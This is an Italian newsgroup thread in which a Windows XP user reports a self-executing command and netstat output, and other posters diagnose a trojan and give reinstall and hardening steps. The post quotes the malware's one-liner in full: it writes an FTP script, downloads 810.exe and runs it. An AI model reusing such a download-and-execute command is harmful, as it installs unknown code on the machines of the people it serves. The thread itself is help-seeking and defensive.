Newsgroup: it.comp.sicurezza.varie
Titolo: Stranissimo comando che si esegue da solo!

Ciao a tutti.
Mentre sono al pc spesso vedo che si apre la finestra di Esegui e che viene 
digitata, o meglio incollata data la velocità con cui viene riempito il 
campo di testo, la seguente stringa:
cmd.exe /c del i&echo open 127.0.0.1 1675 > i&echo user 1 1 >> i &echo get 
810.exe >> i &echo quit >> i &ftp -n -s:i &810.exe&del i&exit
....ma cosa vuol dire????
ho il firewall di windows abilitato, ho eseguito una scansione antivirus con 
AVG aggiornato e ho eseguito una scansione con Spy-bot.
Questa cosa si verifica anche con tutti i programmi chiusi. Ho lasciato 
aperto solo messenger. Ho lanciato anche netstat -b e l'output è stato il 
seguente:
------------
  Proto  Indirizzo locale          Indirizzo esterno        Stato 
PID
  TCP    casa:1383        by1msg3275914.phx.gbl:1863  ESTABLISHED     2336
  [msnmsgr.exe]
  TCP    casa:1412        
adsl-136-254.37-151.net24.it:60072
  ESTABLISHED
    2336
  [msnmsgr.exe]
  TCP    casa:1398        80-239-170-214.customer.teliacarrier.com:http  C
LOSE_WAIT      2336
  [msnmsgr.exe]
  TCP    casa:1399        80-239-170-214.customer.teliacarrier.com:http  C
LOSE_WAIT      2336
  [msnmsgr.exe]
  TCP    casa:1446        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1447        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1448        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1449        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1450        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1451        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1452        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1453        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1454        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1455        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1456        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1457        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1458        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1459        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1460        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1461        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1462        h642663.serverkompetenz.net:http  TIME_WAIT
  0
---------------
Il problema sono quindi quelle connessioni all'host 
h642663.serverkompetenz.net:http
Cosa posso fare?
Grazie mille anticipatamente

 Cosa posso fare?
Salva i dati di cui non puoi fare a meno su un CD.
Formatta tutti i tuoi dischi rigidi.
Installa un sistema operativo della famiglia unix (linux, macos o bsd a
scelta ecc.)
Blindalo, ricopia i tuoi dati e vai avanti.
-- 
Taekyon

 Grazie mille anticipatamente
prego, markus 

 xp _prima_ di riconnettere il pc alla rete
che firewall mi consigli? ho provato in passato zone alarm ma si è rivelato 
un po' pesantuccio per l'avvio del mio pc (un athlon a 1ghz con 128mb di ram 
con windows xp pro ) 

 128mb di ram con windows xp pro )
Una volta usavo Sygate Personal Firewall, gratuito per uso personale. Mi
trovavo bene e non  mi sembrava eccessivamente pesante. Non so se esista
ancora pero'.
-- 
No sign



Ma se non istalla xp con sp2 aggiornato fino a novembre 2006 lo
riprende di nuovo fidati, quindi inutile che formatta. dal file che
dice di avere cdm č un trojan, o ha il linkoptimizer, oppure ha un
trojan nel suo pc io avevo lo stesso problema prima di formattare,
avevo sia il linkoptimizer e poi da una scansione fatta con zone alarm
pro contro i trojan mi ha trovato 2 trojan
Samanta

 ...
ho dato per scontato che xp sia aggiornato fino ad 'oggi' e se non lo è 
allora il mio consiglio va integrato con "...e aggiorna xp fino all'ultima 
patch" *prima* di riconnetterlo ad una rete...
ciao, markus.

 ...
personalmente consiglio sempre sygate pfw anche se ormai non viene piů 
aggiornato ma 'al momento' dell'ultima versione non sono state ancora 
segnalati gravi falle di sicurezza lo trovi qui:
http://www.filehippo.com/download_sygate_personal_firewall/
altrimenti prova kerio o [meglio ancora] outpost
ciao, markus
p.s.: ovviamente do per scontato che sappia come si configura un pfw...

 p.s.: ovviamente do per scontato che sappia come si configura un pfw...
sisi :-))) 

 ad una rete...
per la precisione; la prassi dovrebbe essere la seguente:
1 sconnettere il modem (o router ADSL) dalla linea lasciandolo
   connesso al computer ed acceso
2 riavviare il sistema da CD di installazione, eliminare le partizioni
  esistenti, ricreare le nuove partizioni e procedere con l'installazione
3 applicare il servicepack 2 (se non integrato nel CD di installazione)
4 assicurarsi che il firewall di XP sia attivo e senza "eccezioni"
5 configurare la connessione ad internet; assicurarsi che il firewall
   di XP sia attivo anche su questa
6 aprire il browser ed accedere ad 
http://update.microsoft.com
 quindi
   procedere all'aggiornamento del sistema, riavvio e ripetere il punto
   numero 6 fino a che NON ci saranno più aggiornamenti disponibili
7 procedere con l'installazione (al minimo) di un antivirus e di un anti
  spyware (es. antivir e windows defender); assicurarsi di aggiornare
  entrambi
8 creare un punto di ripristino del sistema oppure (anche meglio) usare
   un s/w tipo 
http://www.runtime.org/dixml.htm
 per creare un'immagine
   del sistema da poter ripristinare in caso di problemi
9 proseguire con l'installazione di eventuale s/w aggiuntivo e con il
   ripristino di eventuali dati salvati in precedenza
da notare che fino al punto 6 il sistema dovrà essere scollegato da
internet e/o da un'eventuale LAN in modo da evitare "infezioni" e/o
altri problemi

   entrambi
per me di solito questo per me è il punto 2, subito dopo l'installazione 
del sis. op. e prima di connetterlo a qualunque cosa.
ciao, markus.